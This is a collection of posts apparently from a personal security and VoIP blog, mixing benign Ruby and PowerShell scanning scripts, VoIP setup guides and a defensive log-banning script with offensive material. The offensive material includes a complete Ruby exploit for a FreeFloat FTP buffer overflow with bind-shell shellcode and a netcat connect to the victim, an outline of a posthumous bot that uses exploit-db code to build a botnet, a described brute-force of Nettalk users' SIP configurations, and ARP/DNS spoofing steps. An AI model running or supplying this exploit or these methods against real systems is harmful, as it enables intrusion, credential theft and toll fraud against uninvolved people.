This script will go line by through a text file checking to see which IP is up. If the host is not up it will log to the results.csv file as “IP,DOWN,NoName”. If the host is up it will log to the results.csv file as “IP,UP,hostname”. Please note that if the authority DNS server does not have an answer for that IP it will log no name and instead will put the IP address again.  This script is very handy on our firewall audits and cleans ups to see what hosts are still needed and which are no longer even turned on any longer.

You will need to have the IP addresses you want to check in a file called IP.txt, unless you edit the script. Make sure you put the file in the same path as the script.

#!/usr/bin/ruby
require “socket”
require ‘resolv’

def computer_exists?(fwip)
system(“ping -c1 -w1 #{fwip}”)
end

def append_to_file(line)
file = File.open(“results.csv”, “a”)
file.puts(line)
file.close
end

def getInfo(current_ip)
begin
if computer_exists?(current_ip)
host_name = Socket.getaddrinfo(current_ip,nil)
append_to_file(“#{current_ip},UP,#{host_name[0][2]}\n”)
else
append_to_file(“#{current_ip},DOWN,NoNAME\n”)
end
rescue SocketError => mySocketError
append_to_file(“#{current_ip},UP,ERROR”)
end
end

#Myfavorite method, read and process file
ipLST=’IP.txt’
File.readlines(ipLST).each do |line|
current_ip = “#{line}”
getInfo(current_ip)
end

A revised bill putting the burden to protect copyrighted material on the entity is what is required not giving the government the ability to make the decision what to block and what not to block. Our government has more important issues to deal with then doing the legal leg work that these entities should be doing to protect their content.

Watch the video below for more information:

http://www.youtube.com/watch?v=n0X5WCmyokw

To get more information on the bill from a more reliable source (EEF):  https://www.eff.org/deeplinks/2012/01/how-pipa-and-sopa-violate-white-house-principles-supporting-free-speech

To sign the petition click here:

https://blacklists.eff.org/

Daniel Suarez wrote in his book Daemon about a man that upon his death a strategically crafted computer system that would launch a mulitude of events that range from something extremely simple to murder. In the book he mentions how there are a multitude of systems monitoring different resources for this person’s death. What if we eliminated the need for such a vast system and used the number one social media site and a simple application. What if we stream line the process?

Today I stumbled upon an application for the social media giant Facebook called “If I Die” (http://www.ifidie.net). This application allows you to record a message or a post that upon your death and verification of your three trustees will be posted to your Facebook account. Wow now over several million people will know I am dead before the newspapers even have the first obituary with my death printed.

So you are now thinking how does this line up with the book the Daemon? Well let’s go back a few months to my Facebook bot I wrote (http://www.digitaloffensive.com/2010/08/facebook-bot-fbcbot-pl/). This bot would monitor my Facebook account for key word posts then launch commands locally to carry out my wishes. So right now you are probably thinking that’s all fine and dandy if you have a system you can guarantee will be up and running all the time as well at least for a short time after your death. Well what about cloud computing? How about Amazon cloud? They offer you a free cloud system as long as you stay below a certain usage each month. From my past usage of the system they charge you at the end of the month or in increments for usage of the cloud. So even if you are dead and your bill can’t be paid it does not matter cause after your bot detects your death it can now do whatever you want, such as create a bot net.

So the process would be this. Upon my death (if this application still exists) my bot running on the cloud will see my post that will give it my final command. It will then check several sites like ww.exploit-db.com for new vulnerabilities. It will then use key Google Dorks from what it found on exploit-db.com to build a list of vulnerable servers and to use the code found on that site to start attacking and infecting these hosts. Right now you are wait this is illegal! What do I care I am dead! Once the infection spreads to multiple hosts it does not matter if my cloud is shut down for nonpayment as my bot net has started.

Now that you have an idea where I am going with this train of thought think about other things you can do? You have a life time to prepare your master piece

Pictures and code for fbcbot.pl ” I am dead code will be posted shortly”

Requirements:
1. Windows vista or higher (preferably 7)
2. Powershell 2,0
3. user access control disabled
4. Acuentix installed (v7 or higher)
5. List of sites to scan

Adding functionality:

To add functions to the wvs_console call edit the variable $scan

Code:

################################################
## Automate Acunetix Console Scans
## Edit $scan to add more function (profile, report type, etc)
## Created by Michael LaSalvia
## http://www.digitaloffensive.com for http://SecurityonLocation.com
###############################################

Set-Location “C:\Program Files (x86)\Acunetix\Web Vulnerability Scanner 7″
# Add my directory to the current PATH
$x = (Get-Location).ProviderPath
$env:path = “$env:path;$x”
write-host “Current directory added to ENV:PATH”
##################################################
##Edit below but be careful
##################################################

$sites= Get-Content c:\mytest\sites.txt
foreach ($i in $sites) {
$scan = “/scan $i /generatereport”
Start-Process ‘wvs_console.exe’ -WindowStyle hidden -Wait -ArgumentList $scan -PassThru

}
exit

How to run:

Place code in a file called whatever you want .ps1 and make sure to sign so you can execute it with powershell. Also make sure to edit the variable sites and variable scan to meet your requirements.

Any questions or concerns feel free to contact me.

The original vulnerability was published here: http://www.exploit-db.com/exploits/17550. The FreeFloat FTP server is a free standing executable FTP server requiring no installation on a computer system. The application itself is riddled with buffer overflows and is extremely simple to crash. Though the trick is not to make it to crash but to gain shell access, Mortis original published the working exploit in python. What we have done here is converted it into a ruby exploit. Why? Simply cause while learning ruby I took it as a challenge to test what I have learned.

Exploiting the vulnerability

To test the actual exploit download the vulnerable software and install it on a Windows XP SP3 machine: http://www.freefloat.com/software/freefloatftpserver.zip. Next on a Linux machine copy the ruby code provided and save it to a file called ftpexploit.rb and chmod it to 777. To run the exploit type in ./ftpexploit.rb and enter the victims IP. If the exploit is successful you will get a windows shell.

The Exploit

#!/usr/bin/ruby

#

#FreeLoat FTP SERVER ACCL BUFFER OVERFlow and remote shell Exploit

#Original Exploit by: Mortis as found on exploit-db.com

#Code redesigned into ruby by genxweb from digitaloffensive.com

###############################################################

###############################################################

require ‘socket’

puts “Enter the IP to Exploit: ”

h0st = gets

victim = h0st.chomp!

#open listener shell on port 4444

sc = “\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2″

padding = “A”*246

sled = “\x90″*20

jmpesp = “\x13\x44\x87\x7c”

sploit = “#{padding}#{jmpesp}#{sled}#{sc}”

s = TCPsocket.new(“#{victim}”,21)

s.recv(1024)

s.puts(“USER test\r\n”)

s.recv(1024)

s.puts(“PASS test\r\n”)

s.recv(1024)

s.puts(“ACCL “+sploit+”\r\n”)

s.close()

puts “#### IF EXPLOIT IS SCUCCESSFUL SHELL WILL OPEN ####”

puts “###################################################”

system(“nc #{victim} 4444″)

How the code works

First we ask the hacker for the victims IP address. Once we have that we remove the trailing new line statement using the chomp command. Now that we have the victims IP we build the packet that will be sent over the socket we open.

The first part of the packet is the padding and sled. This gets us to the point where we can overwrite the memory with our shellcode. The jmpesp variable is the place in memory in big endian format to enter our shellcode. The shellcode is a generic shellcode to open port 4444 on the victim’s machine with a windows command line access.

Once the packet is built we open a connection to the victim on port 21, the standard ftp port. Once the connection is built we send the user: test and password: test. After that we then send the ACCL and exploit packet. If this is successful a shell will spawn on the victims box.

Finally the exploit will then use netcat (nc) to connect to the victims machine so you can interact with the victim.

This is a simple script I wrote in ruby to scan ports to see if they are open and grab the banner of the service.  The script has error handling built in so it is able to continue on to the next port if the port before is closed. Port banners are displayed to the screen. If you want to log them to a file just alter the print statement to redirect to a file. To change the port ranges to scan alter the line where the “for loop” is 0…65536. This script will only do tcp and not udp. The script was written for fun but when you are doing an actual audit sometimes you cannot install tools on the machines or with in the network you are auditing. This will allow you to use a piece of software that is installed on most new Linux machines.

#!/usr/bin/ruby
#Simple Ruby Banner Graber
#Created by Mike @ digitaloffensive.com
#######################################

require ‘socket’
puts “Enter the IP to scan: ”
bIps = gets
puts “Now scanning #{bIps} for open ports”
for sPorts in 0…65536
begin
bcon = TCPsocket.new(“#{bIps}”, “#{sPorts}”)
bcon.puts(“get / HTTP/1.1 \n\n\n\n\n”) #http is picky
bhead = bcon.recv(100)
bcon.close
print bhead
rescue
puts “#{sPorts} is not open, continuing”
end
end

A little over a year ago Nettalk came on the scene as a competitor to Magic Jack. They were not only a competitor, but a neighbor having their corporate office located extremely close to Magic Jack’s office. Their claim to fame was you did not need to have your PC on to use their device to make calls.

Since day one there was a group of people that were dead set to find the coveted SIP Credentials that would allow them to bring their own device and not have to use the nettalk device. Magic Jack has successfully, for the most, part made this impossible for the users which drove more clients over to Net talk and other services.

Nettalk has not been so successful in blocking its users from obtaining their credentials; though until now it was only possible to obtain your own credentials.  A research from West Bengal India has discovered a way to do get everyone’s credentials and has released a tool to do it.

The researches name is not 100% known.  The aliases on the http://www.magicjacksupport.com forum are “vj224” and “Valavan Jabbar” is in the signature. Recently, the signature also contained the website: http://www.visva-bharati.ac.in/Rabindranath/Rabindranath.htm . It looks like the mods have edited the post as well to remove the tool and contact information. Looking at the pictures and the post: http://magicjacksupport.com/nettalk-sip-via-tftp-t10925.html It is quite easy to figure out how this person did this and how to reproduce this with a few lines of code.

The vulnerability is mostly from negligence and poor design. The researcher more than likely used a packet sniffing tool to discover vulnerability and then attempted an exploit manually.

Based on the post on the  Magic Jack Support forums and the screen shots I took: An attacker can download the configuration of any Nettalk user by knowing the MAC address of the device and the last 4 digits of the device serial number;  Using a simple brute force method you can quickly pull the configurations of multiple users in matter of hours, if not minutes. To speed up the attack you can find the manufacture of the Ethernet chip in the device and see what numbers they use for the start of the MAC to define that it is theirs. This will cut down the amount of possibilities you need to guess.  You could even run the code in The Cloud like several password cracking tools use today.

Write up of the Researcher’s findings: http://magicjacksupport.com/nettalk-sip-via-tftp-t10925.html

Screenshots and my personal logs with dates:

On 6/24/2011 I received a LinkedIn invite from a Thomas Hutton a Senior Engineer of nettalk. Since contacting Nettak, Thomas has altered his LinkedIn profile to hide all relations to Nettalk. Through the magic of Google cache here is his profile before edit. Below the before is the after edit.

Before Edit: (Click for larger view)

After Edit: (Click for larger view)

I accepted his invite and moments later I got the following message from him accusing me of releasing this vulnerability and tool, he then continues to slander me questioning my moral and ethics. Ethics and morals is something that separates the Information Security Professional from the malicious hacker.

I like for you all to reread the first line, second sentence. Yes you read it right Nettalk knew its client’s data was vulnerable and chose to ignore the vulnerability hoping no one else would find it.

I responded to these acquisitions with the following message:

This all took place around 8:30 am EST on 6/24/2011. It is now 5:00 PM EST on 6/24/2011 and I have not received and apology from him. I have contacted Nettalk customer service and I am awaiting a response from corporate to provide them this information. If they do not respond by close of business today I feel that is my duty to inform its clients about their blatant neglect for their client’s privacy and safety.

In the meantime nettalk should turn off the tftp server or setup a filter on their firewalls / IPS to look for multiple connections from the same IP for different configuration files.

06/25/2011 – Nettalk has not responded yet to my reach out attempts. Thomas has basically changed all his Linkedin information. [RECOMMENDATION] Clients of Nettalk should keep an eye on their phone bills and their personal information. Using the SIP credentials not only can an attacker place a call they can receive calls as well. This means they can impersonate you and gather additional information to use in other unethical ways.

If you are visiting my site from Nettalk please feel free to contact me via email. Provide your telephone number and position in that email and I will be more then glad to call you to discuss this.

iScanner is developed by the folks over at iSecur1ty.org. The latest update of code was in September of 2010. The iScanner application is ruby based application that has many features:

Current Features:

• Ability to scan one file, directory or remote web page / website.
• Detect and remove website malwares and malicious code in web pages. This include hidden iframe tags, javascript, vbscript, activex objects, suspicious PHP codes and some known malwares.
• Extensive log shows the infected files and the malicious code.
• Support for sending email reports.
• Ability to clean the infected web pages automatically.
• Easy backup and restore system for the infected files.
• Simple and editable signature based database.
• You can easily send malicious file to iScanner developers for analyzes.
• Ability to update the database and the program easily from iScanner’s server.
• Very flexible options and easy to use.
• Fast scanner with great performance.
• Yes, it’s FREE!!

I found this tool extremely interesting and started playing with it. Overall it is a great tool though I found it was missing some functionality that I wanted.

1.       It does not have a flag to index and scan the whole site for malicious code.

2.       The database is extremely small and does not detect some common variations of C99 shell.

To resolve the first issue I used the ruby module Hawler and a modified version of htmap created by John Hart of Spoofed.org. This allowed me to get an index of all links that are linked to on the URL you want to scan. Once I had that information I was able to create a simple shell script to loop through the list scanning each page. I even went as far as to only output the infected pages into a report for easy reference.

To resolve the second issue I created my own database based on information I found on the internet and from personal research. I found using a web tool like Rubular, http://www.rubular.com/ great for testing my regex strings.  We also are experimenting with downloading known malicious URL lists and auto creating signatures to use in the scans. We will be releasing this code in our next article.

For testing purposes we created the following signature and added it to the database:

a)      — 9.3

b)       - (eval)

c)       – PHP ‘eval’ functions detected, possible encoded malicious code.

d)      – MU:RE

• Bullet (a) is he signature number; this should be unique for your reporting.
• Bullet (b) is the regex string. The regex string is encapsulated in ()
• Bullet (c) is a comment about the malicious code.
• Bullet (d) tells the app to scan multiple lines to match the regex and to also check when remotely scanning

For more information of the creation of custom signature files check out the README file that comes with iScanner it is extremely easy to follow.

So let’s take a look how to install all of this and how to use iScan script:

1.       Make sure you are running linux and have ruby installed or the ability to install ruby.

2.       Install the Hawler ruby gem: gem install –source http://spoofed.org/files/hawler/ if any dependencies are needed make sure you install them as well.

3.       Download the modified version of htmp and iscan.sh (found in the zip file with the rest of the scripts from this article).http://www.digitaloffensive.com/files/iscan.zip

4. Download iScanner from: http://iscanner.isecur1ty.org

5. Uncompress iScanner and run the installer.

6.       Copy iscan.sh to the directory you want to run it from and edit the variables to suit your need.

7.       chmod 777 iscan.sh and run it by typing ./iscan.sh and follow the onscreen directions.

a.       Using the Hawler gem and the modified htmap you will be able to scan all links on the url you enter as well as set how deep you want to crawl. Remember the deeper the longer it will take.

Now that we have all the tools we need let’s create a test environment:

1.       You will need a website for this to work. If you do not have one you can install and run apache on the Linux box that you are working on to use this script.

2.       Create a index page in the root of the web directory with a single href code to test.html

3.       Create another file called test.html and put the word eval in it and anything else you want.

4.       Put my test signature in the signature database and save.

5.       Run the iScan script and follow prompts.

a.       You will be first prompted for the URL. Use the full domain or the IP here. IE www.domain.com, domain.com, or 127.0.0.1 avoid using /.

b.      Enter the depth you want to scan. Since this is a test set it to 1

c.       Sit back and watch

This script is pretty basic we are working on making reporting better as well as adding the ability to grab known malicious url black lists and hopefully know malicious code samples and increasing the signature database. The only current down side we see in the iScanner app after using our script is the lack to scan for malicious code in a database.

If you have comments or questions let me know.

A little over two years ago I met the girl of my life, not knowing at the time she would one day be my wife.

Social Engineering: The Ring

One day while out shopping she found the ring she would later on wear. The only issue I had was it was more then what I planned on. Though how could you say no to the one you love. I did not let her know at the time and continued to ask what she thought of other rings making sure her heart was definitely set on that one.
Then one evening as I was getting ready to leave work I called her letting her know I was going to stop at the store to get some water. She told me since I did not feel well that she would stop at the store for me and meet me at home. I figured this be the best opportunity to surprise her. Though I was super ill I ran to the store and bought the ring knowing that she would stop by there on the way to get the water to look at it like she normally did. I got to the store and purchased the ring to find that this is a one of a kind ring with no others available like it from that store. Nor did any other stores have one. I spent the last several months visiting jewelers showing them pictures of the ring and asking if they had one like it, all of them were amazed by the design. Once I heard this I knew she would call me tonight to let me know that the ring was gone. Like clockwork the call came through and you can hear the disappointment in her voice.

Phase 1 was completed she had no idea that I bought it for her or what was to come.

DNS Poisoning and ARP Spoofing: The Proposal

Before continuing to read, for those non technical people out there or in the event that the owner of Hip2Save ever reads this, NOTHING malicious was done to their site and all the below took place on my own personal network using our own personal equipment.

What is a better way to say I love you then poisoning the one’s you love DNS to send her to a false site that looks like the original site but has a personal deal, poem and directions. I decided to use the site www.hip2save.com. The site offers daily deals and she loves to visit the site and get free / discounted products, I know we will have to work on her giving away her info so freely. I used wget –m to download a mirrored copy of their site to my apache directory on my backtrack box and altered the page to look like the below image:

That was the easy part. The next part was carrying out the actual spoof and poisoning. Remember it is a race condition to see what DNS server answers first. So I cheated here and set my firewall to my malicious DNS server that I installed on my backtrack so I knew I would win. When I think about it, it would have been easier to setup my own zones for the sites I wanted to hijack, but where would the challenge be there. With that in place I used Dsniff’s arpspoof to take care of the arp s this did not take out my wireless switch like ettercap did. Then I used ettercap –T –q –P dns_spoof (after editing the etter.dns file of course). I also enabled IP forwarding so the packets could be forwarded out and I used my DNS server to handle all the non hijacked sites. The above took several days of testing and researching before I knew without a doubt that it would all work.

Exploitation: Popping the question

Several hours after she got home from work we were both sitting on the couches watching TV and surfing the net when she said “what is this” and started to cry (Happy tears). I was like what’s wrong as I got off the couch and approached her to see what she was talking about (already knowing).  I pulled the ring out and asked her to marry me while getting down on one knee.
She said: Yes and was extremely impressed with my idea for the proposal and even though she doesn’t know anything about hacking she asked that I explain to her how I did it.

Tonight I got an OTA (over the air update) from code 2.1 to 2.3 and wouldn’t you know it broke my existing root. You would figure since rooting is now legal they would not touch files that don’t belong to them or change your security settings but they do. So a quick Google lead me to Z4Root, unfortunately it has been removed from the market place but it can be downloaded from http://www.droid-life.com/2010/12/09/z4root-will-root-the-droid-x-2-3-340-update/ .

Once you download the file follow these easy steps to get root back or get root for the first time.

1. Connect the phone to the USB of your computer and choose mass storage mode.
2. Copy the file to the root of the SD card
3. Unplug the phone and let the SD card become ready
4. Use the files app to browse the Phone files and locate z4root.1.3.0.apk
5. Click on z4root.1.3.0.apk you will be prompted with a security warning that you can’t run applications from a non-market source. Simply change that setting when the setup brings you to that screen
6. Next you will need to enable USB debugging.
7. Once you enable USB debugging re-run the app and overwrite the existing configuration
8. Click on permanent root and be patient.
9. Once done your phone will reboot and you now have root.

With root you can run apps like barnacle a free wifi tether app that I think is better than the tether app. Also you can run apps like shark (wire shark for the droid) and many other cool apps that Verizon does not want you to run.

To purchase this service click the buy it now button. In the comments put you’re State, City and Area code so we can give you a list of numbers available in your area. I there is no numbers available in your area (highly unlikely) we will refund you your money or find one closer to you. You can try the service for 90 days and if you don’t like it cancel it any time with in the first 90 days and you will be only charged for the minutes used, phone number, E911 and taxes.

Accounts can take up to 24 hours to setup and verify the buyer. You will need to fax a signed contract and TOS agreement back to us.

If you are a pen tester and want to do war dialing contact us for a special deal on using our service with warvox.

I figured it was about time that I showed what I have setup in my home for a phone system. This is only the start as new products come in and as budget allows we like to purchase new items to see how we can tie them into the system.

Our current wish list includes an IP based Door Phone / Bell. There are a few on the market but the price tags run from 150 to over 1,000 dollars.

Currently on our home phone system we are using our own VoIP service from our spin off company called VoIP My Way (http://www.voipmyway.com), which is fully up and running but we are currently working on pricing and a website. Our current thought process is to offer it like Magic Jack does with a mixture of what Whistle phone does. Basically for a low monthly fee you can have unlimited* calling to the US and Canada and basically won’t need any dongle. To help offset costs we are going to play a 15 to 20 second ad on all outbound calls. Ad free plans will be available as well.  At home we also use whistle phone as a backup trunk and for long calls to save costs.

We use to run a Magic Jack trunk on there as well but do to the recent changes we are still investigating how to get it to work again. For now it is disabled and the number forwards to our new number. Guess who will not be renewing with Magic Jack this coming year.

Our system currently runs on a Gateway Desktop computer that has 2 TB of space, 2 Gig of ram and a P4 3.8 processor, though the actual PBX runs in VMware Server on that desktop. The desktop also serves as our streaming media server, file server and general internet surfing. The VMware instance of our PBX is running PBX in a Flash, which is basically a modified version of CentOS, Asterisk and FreePBX compiled together into quick and easy to install PBX system. The VMware instance is configured with 20 gigabytes of hard drive space, 512 MB of memory and bridged networking. This setup currently supports anywhere from 1 caller up to 5 callers at any given time. Our biggest issue becomes bandwidth, depending what the kids are doing or I am downloading.

The PBX in a Flash and the firewall has been configured to work with NAT as described in our article located here: http://www.digitaloffensive.com/2010/05/overcoming-sip-over-nat/

For testing and daily use we have several types of phones tied into the system. The Cisco 7940 is automatically configured via a config file it pulls down from the TFTP server that runs on the PBX. The Android phone is a Motorola Droid X, it is running the newest version of SIPdroid that allows it use either 3G or WIFI to connect to the PBX to send and receive calls.  The laptop is running X-lite from Counter Path. On the laptop I also have my Bluetooth head set tied into it so I can talk as I work. Finally what I consider to be the cherry on top is the Linksys SIPura 2100. I spent a lot of time looking for a cheap way to tie my analog phones into my VoIP based PBX. Originally when I ran the PBX on its own hardware I was looking at purchasing a FXS card but for a good card with good call quality you were looking at over 100 + dollars.  That is what got me thinking about using an ATA to connect the phones to the VoIP PBX. After a few hours of eBay I got myself the Linksys SIPura for $10.00 and the rest of that story can be read in our upcoming article on how to configure the ATA to work on Asterisk. The ATA allows me to plug one line into my homes phone outlet to connect the phones in all the rooms. The other port we use for faxing.

As always if you have any questions or comments let us know.

With the latest round of rotating passwords from Magic Jack and no end in sight many are looking for other alternatives. I for one have started my own VoIP service after years of providing VoIP consulting services. I wanted something reliable. Though there are those out there that still want free solutions.

Whistle phone provides free phone service for those that are willing to listen to a 15 second commercial on every outbound call. To sign up for their service you must go to their site and download their client. Once you have downloaded and installed the client you will be able to register for their service. Make sure you register for the free service.

Once that is done you will now have all the SIP information you will need:

• Username is your 10 digit number with no dashes
• Password is the password you created for the account
• The SIP proxy is proxy.whistlephone.com

At this point you will have noticed that you do not have a local DID so this is where Google Voice comes into play: http://www.google.com/voice. Go the site and sign up for an account. You will need to have a phone that they can call and give you a registration code to complete the registration process.

I suggest signing in to your whistle phone and using that number in the registration process as we will be eventually pointing your Google Voice number to your whistle phone number so you will have a free local DID.

At this point you are ready to receive calls from your local DID and be able to place calls from you Whistle phone or whatever device you want to using your SIP credentials.

If you are using Asterisk with FreePBX here are the trunk settings you will need:

UPDATE THANKS TO VANHAM: (NEW TRUNK INFO)
The following are the settings I am currently using:
———————————————————————
Maximum Channels: 4

Trunk Name: whistle

PEER Details:

host=proxy.whistlephone.com
useragent=Whistle/Windows 1.20 (VailSIP 20100330)
type=peer
username=YOURDID
fromuser=YOURDID
defaultuser=YOURDID
secret=YOURSECRET
insecure=port,invite
nat=yes
qualify=2000
disallow=all
allow=ulaw
dtmfmode=rfc2833
defaultexpiry=60

USER Context: YOURDID

USER Details:

host=proxy2.whistlephone.com
useragent=Whistle/Windows 1.20 (VailSIP 20100330)
type=friend&friend
username=YOURDID
fromuser=YOURDID
defaultuser=YOURDID
secret=YOURSECRET
insecure=port,invite
nat=yes
qualify=2000
disallow=all
allow=ulaw
context=from-trunk-sip-whistle

Register String:

YOURDID:YOURSECRET@proxy.whistlephone.com:5060/YOURDID

—————————————————————————-
Maximum Channels: 4

Trunk Name: whistle2

PEER Details:

host=proxy.whistlephone.com
useragent=Whistle/Windows 1.20 (VailSIP 20100330)
type=peer
username=YOURDID
fromuser=YOURDID
defaultuser=YOURDID
secret=YOURSECRET
insecure=port,invite
nat=yes
qualify=2000
disallow=all
allow=ulaw
dtmfmode=rfc2833
defaultexpiry=60

USER Context: 1YOURDID

USER Details:

host=proxy2.whistlephone.com
useragent=Whistle/Windows 1.20 (VailSIP 20100330)
type=friend&friend
username=YOURDID
fromuser=YOURDID
defaultuser=YOURDID
secret=YOURSECRET
insecure=port,invite
nat=yes
qualify=2000
disallow=all
allow=ulaw
context=from-trunk-sip-whistle

Side note for the Magic Jack staff that I know visit the site, if you would just provide the SIP to us even if you charged 10 dollars more a year and no support for bring in your own device then we would not have to write these tools and you can make more money off of us.

Thanks

What is MJSIP version 2.0 beta:

After a very successful following our first version and recent changes to how Magic Jack is handling passwords and usernames we have decided to update our script with additional filters and added the ability to find your username as well since it is not always E_number_01.

What is new and why is this called beta:

Though we have tested this on over 40 + jacks from 10/20/2010 to as recently as of today we are have not allowed the general public to try it until now. That is why it is called beta. This version now includes the ability to retrieve your username.

What is required:

MJSIP: Our Perl script. This can be downloaded here: http://www.digitaloffensive.com/mj/mjsip2.zip. If you have our older ne overwrite it with this one.

SIPDump: Magic Jack stores all your SIP information in the programs memory during the startup process. SIPDump is a modified version of MemDump, which was originally developed by Stroth. You can download this tool here: http://www.digitaloffensive.com/mj/mj.rar

Active Perl: This is a free windows port of the Perl interpreter. It can be downloaded her for the 32 bit or 64 bit processor: http://www.activestate.com/activeperl/downloads. Download the msi file and install it, choose all the defaults.

How to use it:

Step 1: Download and extract all your tools to a folder on your system. Working out of one folder will make life so much easier.

Step 2: Use SIPDump.exe to dump the Memory of your Magic Jack. If you need more details on how to do this check out my article on this located here: http://www.digitaloffensive.com/2010/03/hacking-the-magic-jack-in-2010-for-use-on-trixbox-or-any-other-sip-device/

Step3: Out of all the Magic Jack’s we have tested the 3^rd dump file was the most reliable at containing the password. I would strongly suggest you do not change that line in the MJSIP.pl file.

Step 4: Open a command prompt and navigate to the folder that you created that has all your tools in it. This folder should also contain you SIPDump files, unless you did not listen to my suggestions above. Once in that folder type the following command “perl mjsip.pl” This should dump your password and username to the screen.

What is SIPBAN:

SIPBAN is an addon for the advance policy firewall written by “R-FX Networks (http://www.rfxn.com)”. This addon is will search your asterisk logs for failed registration attempts from unknown networks and ban the IP address. This helps thwart SIP secret guessing and other SIP based attacks.

How to configure and use the script:

Configuration of the script is done by variables. The most important variables are gIP1 and gIP2. These variables are where you can define friendly networks not to ban. For example your work network is 192.168.2.x. So gIP1 would look like this gIP1=192.168.2. You could do just 192.168 but that leaves a lot of room for IP spoofing even though that is a RFC 1918 IP. You can use gIP2 for your home network or a remote office. To add more friendly networks just add more gIP variables in the variable section and edit line 15 of the script by adding an addition “ | grep –v “$gIP#” to the line right after the last one. Repeat this as much as you need to.

Once you made those changes save the script and change the permission of the script using chmod so it now executable.

Before you execute the script make sure you have “APF” installed and configured to your requirements. To configure APF for use in a PBX in environment leave egress filtering to “0” as in disabled and set ingress filtering to TCP 22, 80 and UDP 5060_6000 and 10000_20000. Once that is done make sure that APF is still in development mode . This insures that if you ban yourself or if you did not set the ports right you will be able to get back in after 5 minutes. Finally start APF by issuing the command apf –s.

Now that APF is running run a test of SIPBAN. To do this run the command ./sipban.sh. Nothing will show on the screen. Once it returns back to a command line you can view the log at /var/tmp/sipban.log. If everything looks successful then you can edit the APF config to take it out of development mode and restart APF.

At this point you are ready to schedule SIPBAN via the cron to run on whatever cycle you want. Since it is parsing a large log file I would do a minimum of 1 hour depending on how much ram your PBX has.

0 * * * * /root/sipban.sh

Where to get SIPBAN:

To get a copy of SIPBAN click the following link http://www.digitaloffensive.com/files/sipban.sh

If you have any questions or comments please feel free to contact us.

About:
AUTORAFI is a Linux shell script developed by Digital Offensive to either locally or remotely install an Asterisk based PBX solution with FreePBX front end. AUTORAFI was developed and tested on base installs of CentOS and Fedora Core.

Why:
Over the last few years we have been installing more and more of these solutions so we have taken the time to automate as much as we can to save time. Now we are offering AUTORAFI to the general public to make your lives easier.

Requirements:
1. System running either CentOS or Fedora Core.
2. SSH or console access
3. root access
4. Basic knowledge of Linux text editors
5. Internet access
6. Patience: install can take up to 1 ½ hours depending on your internet connection and your system configuration.
7. If you are running behind a firewall you will need to review this article for special firewall and FreePBX configuration: http://www.digitaloffensive.com/2010/05/overcoming-sip-over-nat

Use:
1. Copy the script to your server.
2. Use your favorite Linux text editor to change the user variables
a. Uncomment the following sections if they apply to you
i.Webmin: Lines 112-114
ii.DAHDI: Lines 180-185
3. Make sure it has a .sh extension
4. Chmod 777 script_name.sh
5. ./script_name.sh
6. Follow prompts!!
a. If you see warnings it is ok to proceed. It is when you see major errors, or failures that you need to stop the install.

Cost:
AutoRAFi costs $175.00. Since this is a digital product and the source is fully viewable there is no refund. We will work with you to correct any issues. To purchase this please visit our product page: Products

Support:
This script was developed and tested thoroughly on Fedora and CentOS. We ran it over 100x on each OS working out all the flaws.
We provide limited email support for free for this script. We plan to eventually offer a ticket system for this script if it is required. To get support please send a detail email with exact errors (Screen shots) to support@digitaloffensive.com
Free updates of this script will be provided to those that have purchased it.
If you need support configuring FreePBX, or anything else outside of this script and would like our help our hourly rate is $50.00 an hour. Min 2 hours.
Check out http://www.digitaloffensive.com for more info on our services.

For the time being we are offering SIP retrieval once again. Though once we pull your information we will test it and once tested and confirmed working payment will be non returnable. So if they change this a week from now you can not ask for a refund.

For those that want to do it themselves my articles will still help you do this. If you find my article useful please visit a sponsor or two as they help to pay for my time and hosting fees.

Side note is reports also state that the username for some is ending in 02.

Good Luck

